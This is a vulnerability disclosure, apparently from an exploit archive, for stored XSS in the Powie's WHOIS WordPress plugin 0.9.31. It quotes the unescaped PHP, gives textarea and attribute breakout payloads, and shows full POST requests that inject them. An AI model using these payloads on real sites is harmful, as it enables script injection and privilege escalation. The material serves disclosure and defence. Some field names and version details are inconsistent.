Wordpress Plugin Powie's WHOIS Domain Check 0.9.31 - Persistent Cross-Site Scripting

# Exploit Title: Wordpress Plugin Powie's WHOIS Domain Check 0.9.31 - Persistent Cross-Site Scripting
# Date: 2020-07-07
# Vendor Homepage: https://powie.de
# Vendor Changelog: https://wordpress.org/plugins/powies-whois/#developers
# Software Link: https://wordpress.org/plugins/powies-whois/
# Exploit Author: mqt
# Author Homepage: https://blog.haao.sh


1. Description

Powie's WHOIS Wordpress plugin was found to be vulnerable to Stored XSS as
multiple fields in the plugin's setup settings fail to properly sanitize
user input. The risk here is mitigated due to the fact that active
exploitation would require authentication. However a lower privileged
Wordpress user would be able to take advantage of the fact that the
arbitrary Javascript executes on the same origin and therefore by using a
specially crafted payload, an attacker would be able to elevate their
privileges or take any of the same actions an admin would be able to.

All Wordpress websites using Powie's WHOIS version < 0.9.31 are vulnerable.

2. Vulnerability

There are two sets of vulnerable fields with each requiring a different
payload in order exploit.

The first set of vulnerable fields display output using the `<textarea>`
element.

Show on available domains (display-on-free)
Show on unavailable domains (display-on-connect)
Show on invalid domain (display-on-valid)

As no sanitization is being performed, an attacker can use a closing
`</textarea>` tag to close the HTML element and thus is able to inject
arbitrary Javascript.


Vulnerable Code: (/plugins/powies-whois/pwhois_settings.php)

<tr valign="top">
    <th scope="row"><?php _e('Show on available domains', 'powies-whois')
?></th>
    <td><textarea rows="3" name="display-on-free" style="width:100%;"><?php
echo get_option('display-on-free'); ?></textarea></td>
</tr>
<tr valign="top">
    <th scope="row"><?php _e('Show on unavailable domains', 'powies-whois')
?></th>
    td><textarea rows="3" name="display-on-connect"
style="width:100%;"><?php echo get_option('display-on-connect');
?></textarea></td>
    </tr>
<tr valign="top">
    <th scope="row"><?php _e('Show on invalid domain', 'powies-whois')
?></th>
    <td><textarea rows="3" name="display-on-invalid"
style="width:100%;"><?php echo get_option('display-on-invalid');
?></textarea></td>
</tr>

Payload: </textarea><img src=/ onerror=alert(1)>

Vulnerable HTTP Request:

POST /wp-admin/options.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0)
Gecko/20100101 Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/wp-admin/options-general.php?page=powies-whois%2Fpwhois_settings.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 479
Origin: http://localhost
Connection: close
Cookie: <snipped for brevity>
Upgrade-Insecure-Requests: 1

option_page=pwhois-settings&action=update&_wpnonce=e632f68003&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dpowies-whois%252Fpwhois_settings.php%26settings-updated%3Dtrue&show-whois-output=1&display-on-free=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&display-on-connect=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%282%29%3E&display-on-invalid=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%283%29%3E&before-whois-output=&after-whois-output=


The second set of vulnerable fields display output using the <input>
element, specifically in the value attribute. As no sanitization is
performed, an attacker is able to use specially crafted input to escape the
value attribute and thus have the ability to inject arbitrary Javascript.

Vulnerable Code: (/plugins/powies-whois/pwhois_settings.php)

<tr valign="top">
     <th scope="row"><?php _e('HTML before whois output', 'powies-whois')
?></th>
     <td><input type="text" name="before-whois-output" value="<?php echo
get_option('before-whois-output'); ?>" style="width:100%;" /></td>
</tr>
<tr valign="top">
     <th scope="row"><?php _e('HTML after whois output', 'powies-whois')
?></th>
     <td><input type="text" name="after-whois-output" value="<?php echo
get_option('after-whois-output'); ?>" style="width:100%;"/></td>
</tr>

Payload: "><img src=/ onerror=alert(1)>

Vulnerable HTTP Request:
POST /wp-admin/options.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0)
Gecko/20100101 Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/wp-admin/options-general.php?page=powies-whois%2Fpwhois_settings.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 398
Origin: http://localhost
Connection: close
Cookie: <snipped for brevity>
Upgrade-Insecure-Requests: 1

option_page=pwhois-settings&action=update&_wpnonce=e632f68003&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dpowies-whois%252Fpwhois_settings.php%26settings-updated%3Dtrue&show-whois-output=1&display-on-free=&display-on-connect=&display-on-invalid=&before-whois-output=%22%3E%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&after-whois-output=%22%3E%3Cimg+src%3D%2F+onerror%3Dalert%282%29%3E